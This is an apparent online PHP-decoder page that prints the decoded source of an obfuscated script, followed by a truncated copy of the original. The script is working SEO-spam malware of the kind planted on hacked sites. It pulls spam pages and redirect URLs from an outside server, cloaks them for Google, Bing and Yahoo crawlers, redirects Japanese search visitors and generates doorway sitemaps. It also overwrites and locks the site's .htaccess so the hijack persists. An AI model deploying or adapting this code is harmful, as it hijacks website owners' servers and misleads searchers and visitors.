Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $yumingid = 10; $lineid = 936; $locprefix = ""; $minlen = 2; $maxlen = 8; $jum..
Decoded Output download
<?php
$yumingid = 10;
$lineid = 936;
$locprefix = "";
$minlen = 2;
$maxlen = 8;
$jumpType = 0;
$is_static=0;
$getloc = 'http://btuan01.xproduct05.top/junchi.php?yid=%d&lid=%d&jumpurl=%d&from=%s';
$urlrules = array('cooperative_blog_entry_@_lang-#_amc.$/','teamwork/urahara/latte_#/geoc_@/_smp_$/','produce-tmag-#-@-$-main-Newssid-pointmall/','#.jsp/enterprise=$&rp=ryutsuu_/','management/Others_#/show_$/@-/','supervise/imagemodele/rose-#/ptusma-$/@/','#.demand=$.@/','afid=#&@&require=$/','@.pg=#/question=$-/','chiebukuro.#/@=$/benesse/','spotlight-directory-#/$-couponnumber-@/','catalogue/rum.daa.jp/?eid=#/nobilog=$/','COMMON/POST-#/ELNE-$/ODAI-@/MATOME/','specialist=#/kokowoke=$/[email protected]/','professor_source_@_searchutm_#_medium_$_/','question_list/warpweb.#/osusu.$/recommend','config/login/#/$/','R/#_SPACE_$/','MEMAGREE/uroko/vm//sm/#/mynavi/$/asbs/','ABROAD-#.-$.-kuten@/','AUCTIONS.@/?P=#&G=$/','Flash_rita_ora_@_#_Shelly_$/','videonews_#/$./','#.Zasshi.@/$.seesa/','Bylines/ginnerru/#_xx/$_yy/goojp-sokawag-@/','Feature/#/hapitas/itemid/$/','polls.dailynews/@_#_$/','shopping/Cart=#&View=$/','favorite=#/List=$/Soci=@/','address.#/room.$/Fly@/','@_#_million/Summit.$/','Electronic-sawakigym/#-entry-/$/','Commerce/-#-/buy.livedoor.$/-@-/','Rofession=#/&rd=$-@','Summitmeeting-#/Kayleen-$/.@/','#-Headman-$/','P@-#/sellwell-$/','seasons-#_date-$_time-@_/','beauty_album.#[email protected]/','ENTA-UNITED-ARROWS.#_YOGA-GENE.$/','AREA/i.lumine.#_r.@.$/','mckd-@/gun_#/REGION=$','FaiTh-#/eTwL-$/rVys-@/','godliness.#/urhgoric-@=$/','#/official.=$/-@/','feature_item_daily_#_tags=$','news/detail/pintoru/odai@/#/bure_$','cleanitab_#/channel-$.@','store=#&bure=$/kofclic.@','apps_@/FAMILY=#/twtes/NO=$','collection-masterpiece-pngmet.#-$.gov.pg-@','editors_choice/casede=#&smartlog=$','cittalia-#_answer-$','guide/r/tag=#/portal/help/r/hot/$','Year=#/Calendar=$','Festival/#.@.$/sound-','#=holiday-/$=Blessing-','Celebrate/DAY/MWk-#-henrysbk-$-oXPr.','elfshop/@./#./American/$.','Strength_#-mery_$-report.@_','@/Z=#.cp&Opportunity=$-','Copyright&$.in.@_#','Package.#/kjurnif-shion-hori-@/gole.$','#/$/Marginal_@_','utility=#/@_$_sakidori-','#/?logo=$_@','@/?MARK_#=hellobezlo_$','PAGE=#/HEADLINE=$/NOTE=@','PATTERN_#_@.$.','jhl/umito/#./audience.$/@','#.brandmomentum=$/uwafu-@','personality_#._pointer_$.-foot-@','@.bz/concept=#&Ideal=$','life-cycle/barbara-#/mabo-$','prototype.#-plugins.pxp?$-@','attribute_#/-@=pdat_circle-$','@.#/advertising-$','#.creative.$/spxfcu-@-','#.peralux-/$.presentation-','-txp_#=FOLLOW_$_@.','DIRECTOR-#-$-NON-STOP.-@','sponsoredevent/#/algaenergy_$','coverage-gludinamaiskoks_#-$.yrt-','publicrelations/#/$','post_@-buy_#-analysis_$','decision.#/?@=$','SLOGAN-NATALIS-#-$_@_','STRATEGY/R/CART=#/NO.=$','ep/s/?CLIENT_SHOP_KBN=#&C=$','international-world-#-pyo.$-@-','allowance/list/zozo_#/Coupons_@/team_$-','assurance-all-sales-#[email protected]','analysis_#/sho_index/[email protected]','extension/CSfDispListPage_#.jsp?dispNo=$.html','disp/locondo/e_#/positioning_$.html','break-even/minne_#/@_$.html','diversity_category_@_id=#_hom=$.html','@_budgeting-#/Home-$-.html','Behavior/ja/JP/e-store-#/department/$.html','@/Decisions.#/cate_$.html','Goldenhour-jpn-jp-#-think@-$.html','@/p=#/?Online=$.shtml','RUSH?cate&cbid=#&csid=$.shtml','SymbolMark/basic-#/kanana-$.shtml','spcl=#/@/outdoor=$.shtml','pc_#/item/@.cgi?itemStycd=$.shtml','@/#_themelines/-$-.shtml','session-motomachi_#-goods_$.shtml','exhibits/#.@.$/pg.shtml','mandatories/ctg_id=#/$.shtml','visualization-#/fs-@/savoy-$.shtml','commercial/torin.#/$-.htm','illustrators-#[email protected]','@axel_pd=#/script=$.htm','@-#/thumbnail.as-$.htm','OBEY_itemtype=#&p_itemsubtype=$.htm','Indulge/C@T=#/NO.=$.htm','Pursuit-#[email protected]','@.#-Askformore-$.htm','Generation_#[email protected]','Integrate/@.bz=#&Ideal=$.htm','flavor=#/@_$_eyewear-.xhtm','#/[email protected]','venture-#-/buy.$/[email protected]','#/bure@_$/Upward.netp','stretches_npyo_@_#_seal_$.zpko','Association.#/?@=$.xxxl','program=#_$.wbzj','@/#.alliteration_$.cox','brainstorming_#_$_@_blog.vdep','capital/?#=@-$.shtml','Carnival-#[email protected]','centralization/#/$.htm','dataresearch_@_treasure-f_#_$.htm','differentiation/shop/g_#/g_$.html','encoding/home/@/#_$.ggco','@/#-$/exporting.pxpx','#/-@-/$_financing.cvy','R/@_formalization_perh_#_$_vwwht.orp','GENERAL/bluek.#/_$_.cznx','harvesting_#-@_$.vtp','jaeger_#/$_incentives.mmp','_js/r/e/mall/influencers_#_$.jgps','#/legislation_$/assets.nmd','data-#/_$_mission.pw_','#/$/[email protected]=','objectives_project=#_link=$.aqp','payment/e/li/good_#/@_$.apro','_@_Potential/_#_Library/R/_$_Bite.qoiy','REBATES_@/-#-/maker=$.neps','co-branding/#/lexia-$/.@','Compensation/mnky-#/NAVER-$/@.php','advertisements-#-matome-keiya/$/lexia-ginza/-@-feature/.disp','communication/orangin-integer_#-daniel_$-bettyroad-@','Comdex_brillami_#_nordicfeeling_$_shiete@','#_alliances_$_langen_svp-hunzenschwil_@','power=#/?jp=$-@_arrows','jobbers.#-pmall.$-gpoint-@','adoption_#_@_concept_$_','@/materials_#/tab=page_info_$','Reciprocity_#-cialis_$-@_hospi','reference/-#/-$/-@/-jugem','#_reseller-@_buyer-$_jpntrust','zone_pricing_raking_ids/#/$/-@-','#/?@-design_uodcd_pfdf=$','structure_#_$_@_hello-world-qoed-greet','Standards-#/news-$/freebell-@','perceptual_#_timeison/?@=$','warranty/#/shrimp-$/.@/','Vision/bungo-#/Diskunion-$/@.php/','Union.#-paro.$-scenery-@/','transportation-#-jpntrust-ma/$/nailschool/-@-today/.blog/','territories.@/pa-toddler-#/tokyo-start-$/','@_symbols/-#/-$/otonatoha-/','@/synergy_#/pg=table_ifo_$/','@/?#-survey=$/','levels=#_lab=$_ninki_allegra_stryknin@/','spokesperson/qopxdx_catm/#/idedfd_coord/$/ofdf_nijinosora_@/','Tabacco-resort.#/technology-so.$/ditors-/','share-sato-no-matuge-post-#-peacept-$-@./','service_#_$_sixfoot_nevgr_@_jpntrust_cojp/','Security-#/smile-$./nicotinellmintgum-@-/','#/_territory_$/[email protected]/','strategies/kharkov/PGE_#/neko/ITE_$/','rationale-#-TjBEHdbq-$-kharkov-@/','Psychological-ga-daisuki-#.xyz-aeijyijego-$/','evolution_@/mWLVBY/aeijyijego_#_roza_$/','Parentage-Tcouecmu-#[email protected]','Overheads/#/ilmucchio-$/.@','operating-supplies__list-#[email protected]','natural-products/#-/oizdsz_hufgr_lqns_$.@','location_dduf_dksd=#/?qsas_dsf_op=$.@','line-filling-#[email protected]','Key_accounts/?p=#_husband_$.xyz','@/?#=issue-advertising-fdifpo-$.sgo','@-#-$.html','integration-#/Jerusa-Ppfedf-Ubhdf-$/@.qpl','REA_@/innovation_#/QpI_Werdc_$.erg','harvest/jvfopd_#/$/malaysiaex_@/r.bnc','#/rtY_guarantees_$/PPY_import.@','Gross_FHG=#/Margin_QPSDC=$/[email protected]','functional/mr/eq/nileu_#/$_cigar/[email protected]');
$sm_header = 'Content-type:text/%sml;charset=utf-8';
@ob_start();
@set_time_limit(7200);
@date_default_timezone_set('America/Los_Angeles');
$zuid = 1;
$request_uri = $uri_end = $_SERVER['REQUEST_URI'];
$is_home = in_array($request_uri, array('', '/'));
$serverhost = '';
if (isset($_SERVER['HTTP_HOST'])) {
$serverhost = $_SERVER['HTTP_HOST'];
} elseif (isset($_SERVER['SERVER_NAME'])) {
$serverhost = $_SERVER['SERVER_NAME'];
}
htaccess();
$homeUrl = "http://$serverhost";
$currentUrl = "$homeUrl$request_uri";
$root = $_SERVER['DOCUMENT_ROOT'];
$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
if ($script_name == '') {
$script_name = isset($_SESSION['SCRIPT_FILENAME']) ? $_SESSION['SCRIPT_FILENAME'] : '';
if ($script_name != '') {
$script_name = str_replace($root, '', $script_name);
}
}
if ($script_name != '') {
$script_name = substr($script_name, 1);
$posx = strrpos($script_name, '/');
$base = $posx !== false ? substr($script_name, 0, strrpos($script_name, '/')) : '';
$script_filename = $posx !== false ? substr($script_name, $posx + 1) : $script_name;
}
$page_location_root = "$homeUrl/$base" . ($base == '' ? '' : '/');
$url_prefix = !$is_static ? "$script_filename?" : '';
$uri_end = preg_replace("/^\//si", '', $uri_end);
$uri_end = $base != '' ? preg_replace(sprintf("/^%s\/\??/si", sync_preg_string($base)), '', $uri_end) : $uri_end;
$uri_end = preg_replace("/^($script_filename)?\?/si", '', $uri_end);
$mapol_pre = $base != '' ? preg_replace(sprintf("/^\/%s\//si", sync_preg_string($base)), '', $request_uri) : $request_uri;
$mapol_pre_qm = strpos($mapol_pre, '?');
$mapol_pre = $mapol_pre_qm !== false ? substr($mapol_pre, 0, $mapol_pre_qm + 1) : '';
$mapol_pre = preg_replace("/^\//si", '', $mapol_pre);
$mapol = false;
$mappages = false;
$mappre = 'sitemap_';
$mapfolder = '';
$mapfx = 0;
$mapstep_need = false;
$mapstep = 1;
$mapmax = 10000;
$mapidf = 0;
$mapmode = 0;
if (preg_match("/\.xml$/si", $uri_end)) {
$mapol = true;
$query_xml = explode('/', $uri_end);
$query_xml_end = array_pop($query_xml);
if (preg_match("/([^\d]+)(\d+)\.xml$/si", $query_xml_end, $mapxml)) {
$mappre = $mapxml[1];
$mapfx = $mapxml[2];
}else{
$mappre = preg_replace("/([a-z]+_?).*/si", "$1", $query_xml_end);
}
if (!empty($query_xml) && preg_match("/^([a-z])?(\d+)$/si", $query_xml[count($query_xml) - 1], $stepmat)) {
if (count($stepmat) == 3) {
$mapstep = $stepmat[2];
if ($stepmat[1] == 's') {
$mapmode = 1;
}elseif ($stepmat[1] == 'g'){
$mapmode = 2;
}
}else{
$mapstep = $mapstep[0];
}
array_pop($query_xml);
}
if (!empty($query_xml) && is_numeric($query_xml[count($query_xml) - 1])) {
$mapmax = array_pop($query_xml);
$mapstep_need = true;
}
if (!empty($query_xml)) {
$mapfolder = implode('/', $query_xml);
}
if (($mapfolder != '' && preg_match("/^pages\/?/si", $mapfolder)) || $query_xml_end == 'pages.xml') {
$mappages = true;
}
$mapidf = $mapfx == 1 ? 1 : (($mapmax + 1) * ($mapfx - 1) * $mapstep);
$mapidf = $mapidf < 0 ? 0 : $mapidf;
}
if(isset($_GET['sitemap']) || $mapol){
$num=isset($_GET['num']) ? $_GET['num'] : '';
$getjumpUrl = sprintf($getloc, $yumingid, $lineid, 0, $currentUrl);
$getjumpUrl .= $getjumpUrl . '&sitemap=1';
$jumpurl = trim(curlUrl($getjumpUrl));
$data=unserialize($jumpurl);
if ((isset($_GET['sitemap']) && $_GET['sitemap'] == 'all') || $mapol) {
if ($mapol) {
$max = $mapmax;
$dir = $mapfolder;
$step = $mapstep;
$idf = $mapidf;
}else{
$max = isset($_GET['max']) ? (int)$_GET['max'] : 49999;
$max = $max == 0 ? 49999 : $max;
$dir = isset($_GET['dir']) ? trim($_GET['dir']) : '';
$absdir = "$root/$dir";
if ($dir != '' && !is_dir($absdir)) {
mmkdir($dir);
}
if ($dir == '' || !is_writable($absdir)) {
$dir = mapdir();
}
$step = isset($_GET['step']) ? (int)$_GET['step'] : 1;
$step = $step <= 1 ? 1 : $step;
$mapfx = isset($_GET['fx']) ? (int)$_GET['fx'] : 1;
$idf = isset($_GET['idf']) ? (int)trim($_GET['idf']) : 0;
}
$map_msg = '%s has been created successfully: <a href="%s" target="_blank">%s</a><br/><input style="width:70%s;border:1px solid #aaa;padding:2px;border-radius:2px;margin-top:5px" id="sxf" onclick="this.select()" onfocus="this.select()" value="%s" /><script>document.getElementById("sxf").focus()</script>';
$map_array_head = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">";
$total = 0;
foreach ($data as $key => $value) {
$total += (int)$value;
}
if ($total <= 0) {
exit('no data');
}
$stepmax = ceil($total / 49999);
$max = $step > $stepmax ? 49999 : $max;
if ($step <= $stepmax && !in_array($mapmode, array(1, 2)) && (($idf == 0) || ($mapol && $mapfx == 0))) {
$map_index = "$dir/sitemap_index.xml";
$map_index_format = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<sitemapindex xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">%s
</sitemapindex>";
$map_sitemap_genuri = array();
$map_index_out = '';
$map_index_sitemap_format = "
<sitemap>
<loc>%s</loc>
<lastmod>%s</lastmod>
</sitemap>";
$map_sitemap_genuri_link_format = '%s/%s?sitemap=all&step=%d&idf=%d&max=%d&dir=%s&fx=%d';
$map_sitemap_genuri_format = '%d. <a class="ck%d" href="%s" target="_blank">%s</a><span id="ck%d"/></span>';
$map_index_num = ceil($total / $max);
if ($step != 1) {
$last = 1;
last2($last, $step, $max);
$map_index_num = ceil($total / $last);
}
for ($sini=1; $sini <= $map_index_num; $sini++) {
if ($mapol) {
$map_index_sitemap_uri = sprintf("$page_location_root%s%s$mappre%d.xml", $mapol_pre, ($dir != '' ? "$dir/" : '') . sprintf('%s%s', ($max != 10000 ? "$max/" : ''), (($mapstep_need || $step != 1) ? "$step/" : '')), $sini);
}else{
$map_index_sitemap_uri = sprintf('%s/%ssitemap_%d.xml', $homeUrl, "$dir/", $sini);
$map_sitemap_genuri_href = sprintf($map_sitemap_genuri_link_format, $homeUrl, $script_name, $step, ($sini == 1 ? 1 : (($max + 1) * ($sini - 1) * $step)), $max, $dir, $sini);
$map_sitemap_genuri[] = sprintf($map_sitemap_genuri_format, $sini, $sini, $map_sitemap_genuri_href, $map_sitemap_genuri_href, $sini);
}
$map_index_out .= sprintf($map_index_sitemap_format, $map_index_sitemap_uri, date('Y-m-d'));
}
$map_index_out = sprintf($map_index_format, $map_index_out);
if ($mapfx == 0) {
header(sprintf($sm_header, 'x'));
echo $map_index_out;
exit();
}else{
file_put_contents("$absdir/sitemap_index.xml", $map_index_out);
echo sprintf($map_msg, $map_index, "$homeUrl/$map_index", $map_index, '%', $map_index) . '<br /><br />[products total: ' . $total . ']Clic' . 'k links below to gen xml file:<br /><br /><style>.ck a{display:inline-block;margin-top:5px}#click span{margin-left: 15px;}</style><div class="ck" id="click">' . implode('<br />', $map_sitemap_genuri) . '</div><script>var i,al=document.getElementById("click").getElementsByTagName("a"),H=[],L=3,E=D=N=0,F=function(){var a=new Image,b=H.shift(),c=b.split("@"),d=document.getElementById(c[0]);N++,d.innerHTML="working...",a.one' . 'rror=function(){d.innerHTML="ok",N--,D++,G()},a.src=c[1],console.log(c[1]+" working...")},G=function(){for(N=0>=N?0:N,E==D&&console.log("done.");H.length&&L>N;)F()};for(i in al)"undefined"!=typeof al[i].href&&H.push(al[i].className+"@"+al[i].href);E=H.length,G();</script>';
}
}else{
$map_file = "sitemap_$mapfx.xml";
$map_idf_step = $map_tmp_step = $map_step = $step;
$map_finish_count = 0;
$map_array = array();
$map_array_len = 0;
if (!$mapol) {
$map_file = "$absdir/sitemap_$mapfx.xml";
@file_put_contents($map_file, $map_array_head);
}else{
header(sprintf($sm_header, 'x'));
echo $map_array_head;
}
if (!empty($data)) {
$map_uri_format = "
" . '<loc>%s</loc>';
//////////////////////////
$map_skiped = 0;
$mapoldone = $map_next = 0;
foreach ($data as $key => $value) {
if ($mapoldone >= $max) {
break;
}
$map_line_total = (int)$value;
if ($mapol && $mapmode != 0) {
$sid_arr = sid_array($map_line_total - 1, $mapstep, $mapmode, $lineid);
if (!empty($sid_arr)) {
$map_array = array();
foreach ($sid_arr as $sid_lid) {
if ($mapoldone >= $max) {
break;
}
$map_content = '';
$map_content .= "
" . '<url>';
$map_content .= sprintf($map_uri_format, xml_urlarg(urlshengchen($key, $sid_lid)));
$map_content .= "
" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
$map_content .= "
" . '<changefreq>monthly</changefreq>';
$map_content .= "
</url>";
$map_array[] = $map_content;
$mapoldone++;
}
echo implode('', $map_array);
$map_array = array();
}
}else{
if ($idf > 1) {
if (($map_skiped + $map_line_total) < $idf) {
$map_skiped += $map_line_total;
continue;
}
}
if ($map_line_total != 0) {
$map_step = $map_next ? $map_tmp_step : ($map_skiped > 0 ? (ceil($map_skiped / $max) * $max - $map_skiped + 1) : $idf);
$map_next = 0;
while ($map_finish_count < $max) {
if ($map_step > $map_line_total) {
$map_next = 1;
break;
}
if ($map_array_len > 1000) {
$ready = implode('', $map_array);
if ($mapol) {
echo $ready;
}else{
@file_put_contents($map_file, $ready, FILE_APPEND);
}
$map_array = array();
$map_array_len = 0;
}
$map_content = '';
$map_content .= "
" . '<url>';
$map_content .= sprintf($map_uri_format, xml_urlarg(urlshengchen($key, $map_step)));
$map_content .= "
" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
$map_content .= "
" . '<changefreq>monthly</changefreq>';
$map_content .= "
</url>";
$map_array[] = $map_content;
$map_step += $map_tmp_step;
$map_array_len++;
$map_finish_count++;
}
}
}
}
}
$map_array[] = "
</urlset>";
$sitemap_out = implode('', $map_array);
$map_array = array();
if ($mapol) {
echo $sitemap_out;
}else{
@file_put_contents($map_file, $sitemap_out, FILE_APPEND);
if ($step > 30 && $mapfx == 1) {
$map_one = "$dir/sitemap_$mapfx.xml";
echo sprintf($map_msg, $map_one, "$page_host/$map_one", $map_one, '%', $map_one);
}else{
echo 'done';
}
}
}
exit();
}
if(isset($_GET['file'])){
$file=$_GET['file'];
$str="<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">";
foreach($data as $key=>$value){
for($i=0;$i<$num;$i++){
$j=mt_rand(1,$value);
$url=urlshengchen($key,$j);
$str.= '<url>
<loc>'.$url.'</loc>';
$str.='<lastmod>'.date('Y-m-d',time()).'</lastmod>
<changefreq>monthly</changefreq>'."
</url>";
}
}
$str.="
</urlset>";
$h=fopen($file,'w');
fwrite($h,$str);
fclose($h);
echo $file.' OK!';
die;
}
$str="<!DOCTYPE html>
<html>
<head>
<meta charset=\"utf-8\">
<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">
<title></title>
</head>
<body>";
foreach($data as $key=>$value){
for($i=0;$i<$num;$i++){
$j=mt_rand(1,$value);
$url=urlshengchen($key,$j);
$str.= '<a href="'.$url.'" target="_blank">'.$url."</a><br>
";
}
}
echo $str."
</body>
</html>";
die;
}
$urlRefer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$userAgentCheck = user_agent_check($userAgent);
$referCheck = refercheck($urlRefer);
$getyid = $getlid = 0;
if ($request_uri != '') {
urljiexi($request_uri, $getyid, $getlid);
}
$yumingid = $getyid != 0 ? $getyid : $yumingid;
$lineid = $getlid != 0 ? $getlid : lineidcalc($is_home, $lineid);
if ($referCheck) {
$getjumpUrl = sprintf($getloc, $yumingid, $lineid, 1, $currentUrl);
$getjumpUrl .= $getjumpUrl . '&type=' . $jumpType;
$jumpurl = trim(curlUrl($getjumpUrl));
if ($jumpurl == '') {
echo "jumpurl 404";
} else {
if ($jumpType) {
header("Location: $jumpurl");
} else {
echo $jumpurl;
}
}
exit();
}
if ($userAgentCheck) {
$a_format = '<a href="%s" target="_blank">%s</a>';
$geturl = sprintf($getloc, $yumingid, $lineid, 0, $currentUrl);
$getchanpin = trim(curlUrl($geturl));
if ($getchanpin == '') {
exit("chanpin 404");
}
$getchanpin = preg_replace_callback('/\?yumingid\=(\d+)\&lineid\=(\d+)/', 'cpurl', $getchanpin);
echo "$getchanpin";
exit();
}//*/
function curlUrl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'aabb');
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 300);
$r = curl_exec($ch);
curl_close($ch);
if (!$r) {
return "curl error";
} else {
$r = trim(trim($r, ""));
return $r;
}
}
function last(&$last, $step, $max, $init = 1){
if ($init < $max) {
$last += $step;
$init++;
last($last, $step, $max, $init);
}
}
function getdir(){
$dir = '';
$find = glob("*", GLOB_ONLYDIR);
if (!empty($find)) {
foreach ($find as $d) {
if (is_writable($d)) {
$dir = $d;
break;
}
}
}
return $dir;
}
function user_agent_check($ua = "")
{
return preg_match("/(bing|googlebot|bingbot|google|yahoo)/", $ua);
}
function sid_array($total, $limit, $mode, $lineid){
$ids = array();
if ($limit > 0) {
if ($total <= $limit) {
$ids = range(0, $total);
}else{
if ($mode == 1) {
$tmp = range(0, $total);
shuffle($tmp);
$ids = array_slice($tmp, 0, $limit);
$tmp = array();
}else{
for ($i=0; $i < $limit; $i++) {
$id = static_calc($lineid, $total, $i, $limit);
if (!in_array($id, $ids)) {
$ids[] = $id;
}else{
$limit++;
}
}
}
}
}
return $ids;
}
function refercheck($refer = "")
{
return preg_match("/(google.co.jp|yahoo.co.jp|bing)/si", $refer);
}
function mmkdir($dir){
$dir = preg_replace("/(^\/|\/$)/si", '', $dir);
$arr = explode('/', $dir);
if (!empty($arr)) {
$tmpd = '';
foreach ($arr as $dirname) {
$tmpd .= $tmpd != '' ? '/' . $dirname : $dirname;
if (!is_dir($tmpd)) {
@mkdir($tmpd) or die("mkdir $tmpd failed");
}
}
}
}
function lineidcalc($is_home = false, $lineid = 0)
{
if ($is_home) {
return $lineid;
} else {
global $currentUrl;
return strlen($currentUrl);
}
}
function cpurl($matches) {
return urlshengchen($matches[1], $matches[2]);
}
function urljiexi($request_uri, &$getyid, &$getlid)
{
$split = preg_split("/[^a-z0-9]/i", $request_uri, -1, PREG_SPLIT_NO_EMPTY);
$numbers = array();
foreach ($split as $splitValue) {
if (is_numeric($splitValue)) {
$numbers[] = $splitValue;
}
}
$numberslen = count($numbers);
if ($numberslen > 0) {
if ($numberslen == 1) {
$getlid = array_pop($numbers);
} else {
$getyid = array_shift($numbers);
$getlid = array_pop($numbers);
}
}
}
function last2(&$last, $step, $max, $init = 1){
if ($init < $max) {
$last += $step;
$init++;
last2($last, $step, $max, $init);
}
}
function urlshengchen($yid, $lid)
{
global $urlrules, $locprefix, $minlen, $maxlen,$is_static, $page_location_root, $url_prefix;
$urluri = '';
$getrule = getRule($urlrules, $yid, $lid);
if ($getrule != '') {
$randstring = randstring($minlen, $maxlen);
$urluri = $getrule;
$urluri = preg_replace("/\@/", "$randstring", $urluri);
$urluri = preg_replace("/\#/", "$yid", $urluri);
$urluri = preg_replace("/\\$/", "$lid", $urluri);
$urluri = str_replace("&", "&", $urluri);
}
return $page_location_root . $url_prefix . (!$is_static ? str_replace('?', '%3F', $urluri) : $urluri);
}
function xml_urlarg($url = '', $de = 0){
if ($de) {
$url = preg_replace("/&/s", '&', $url);
$url = preg_replace("/'/s", "'", $url);
$url = preg_replace('/"/s', '"', $url);
$url = preg_replace("/>/s", '>', $url);
$url = preg_replace("/</s", '<', $url);
}else{
$url = preg_replace("/&/s", '&', $url);
$url = preg_replace("/'/s", ''', $url);
$url = preg_replace('/"/s', '"', $url);
$url = preg_replace("/>/s", '>', $url);
$url = preg_replace("/</s", '<', $url);
}
return $url;
}
function getRule($urlrules = array(), $yid, $lid)
{
$getrule = "";
$int = (int)$yid + (int)$lid;
if (!empty($urlrules)) {
if (isset($urlrules[$int])) {
$getrule = $urlrules[$int];
} else {
$ruleslen = count($urlrules);
$md5str = md5($int);
$md5str = trim(preg_replace("/[^0-9]/s", '', $md5str));
$md5str = substr($md5str, 0, strlen($ruleslen));
$md5strlast = (int)substr($md5str, -1);
$md5strlast = $md5strlast <= 1 ? 2 : $md5strlast;
$int = (int)$md5str;
if (isset($urlrules[$int])) {
$getrule = $urlrules[$int];
} else {
while (true) {
$int = $int == 1 ? 0 : round($int / $md5strlast);
if (isset($urlrules[$int])) {
$getrule = $urlrules[$int];
break;
}
}
}
}
}
return $getrule;
}
function static_calc($lineid, $max, $id_index, $id_count){
$func_count = 5;
$func_index = $id_index % $func_count;
$return = $lineid;
switch ($func_index) {
case 0:
$return = $lineid * ($id_index + 2);
break;
case 1:
$return = $lineid / ($id_count + $id_index) * $max;
break;
case 2:
$return = $max / $id_count * $lineid + $id_index;
break;
case 3:
$return = $lineid * 10 - $id_count + $id_index;
break;
case 4:
$return = $id_index * 888 + $lineid;
break;
}
$return = $return < 0 ? abs($return) : $return;
$return %= $max;
return $return;
}
function randstring($minlen = 2, $maxlen = 20)
{
$stringlen = mt_rand($minlen, $maxlen);
$stringarray = range('a', 'z');
$stringarraylen = count($stringarray) - 1;
$randstring = "";
for ($i = 0; $i < $stringlen; $i++) {
$randstring .= $stringarray[mt_rand(0, $stringarraylen)];
}
return $randstring;
}
function htaccess($htaccess_path = ''){
$htaccess_path = '.hta' . 'ccess';
@chmod($htaccess_path, 0777);
$fc = @file_get_contents($htaccess_path);
$nfc = array();
if ($fc !== false) {
preg_match_all("/<IfModule\s+mod_rewrite.c>[^<]+<\/IfModule>/si", $fc, $matches);
if (isset($matches[0]) && !empty($matches[0])) {
foreach ($matches[0] as $block) {
if (!preg_match("/%\{HTTP_USER_AGENT\}\s\(google/si", $block)) {
$nfc[] = $block;
}
}
}
}
if (empty($nfc)) {
$nfc[] = sprintf("<IfModule%smod_" . "rewrite.c>%sRewriteEngine%sOn%sRewriteCond%s%s{RE" . "QUEST_FILENAME}%s!-f%sRewrit" . "eCond%s%s{REQUEST_F" . "ILENAME}%s!-d%sRewriteRule%s.%sindex" . ".php%s[L]%s</IfMod" . "ule>", ' ', "
", ' ', "
", ' ', '%', ' ', "
", ' ', '%', ' ', "
", ' ', ' ', ' ', "
");
}
@file_put_contents($htaccess_path, trim(implode("
", $nfc)));
$fc = $nfc = null;
@chmod($htaccess_path, 0444);
}
function sync_preg_string($sps, $delarg = 1){
$sps_chars = '\?/|&()[]{}+^$!:*';
$sps_chars_array = str_split($sps_chars);
$sps_char_format = '%s%s';
if ($delarg) {
$sps = preg_replace("/(\?|#).*/si", '', $sps);
}
foreach ($sps_chars_array as $sca_v) {
$sps = str_replace($sca_v, sprintf($sps_char_format, '\', $sca_v), $sps);
}
return $sps;
}
Did this file decode correctly?
Original Code
<?php
$yumingid = 10;
$lineid = 936;
$locprefix = "";
$minlen = 2;
$maxlen = 8;
$jumpType = 0;
$is_static=0;
$getloc = 'http://btuan01.xproduct05.top/junchi.php?yid=%d&lid=%d&jumpurl=%d&from=%s';
$urlrules = array('cooperative_blog_entry_@_lang-#_amc.$/','teamwork/urahara/latte_#/geoc_@/_smp_$/','produce-tmag-#-@-$-main-Newssid-pointmall/','#.jsp/enterprise=$&rp=ryutsuu_/','management/Others_#/show_$/@-/','supervise/imagemodele/rose-#/ptusma-$/@/','#.demand=$.@/','afid=#&@&require=$/','@.pg=#/question=$-/','chiebukuro.#/@=$/benesse/','spotlight-directory-#/$-couponnumber-@/','catalogue/rum.daa.jp/?eid=#/nobilog=$/','COMMON/POST-#/ELNE-$/ODAI-@/MATOME/','specialist=#/kokowoke=$/[email protected]/','professor_source_@_searchutm_#_medium_$_/','question_list/warpweb.#/osusu.$/recommend','config/login/#/$/','R/#_SPACE_$/','MEMAGREE/uroko/vm//sm/#/mynavi/$/asbs/','ABROAD-#.-$.-kuten@/','AUCTIONS.@/?P=#&G=$/','Flash_rita_ora_@_#_Shelly_$/','videonews_#/$./','#.Zasshi.@/$.seesa/','Bylines/ginnerru/#_xx/$_yy/goojp-sokawag-@/','Feature/#/hapitas/itemid/$/','polls.dailynews/@_#_$/','shopping/Cart=#&View=$/','favorite=#/List=$/Soci=@/','address.#/room.$/Fly@/','@_#_million/Summit.$/','Electronic-sawakigym/#-entry-/$/','Commerce/-#-/buy.livedoor.$/-@-/','Rofession=#/&rd=$-@','Summitmeeting-#/Kayleen-$/.@/','#-Headman-$/','P@-#/sellwell-$/','seasons-#_date-$_time-@_/','beauty_album.#[email 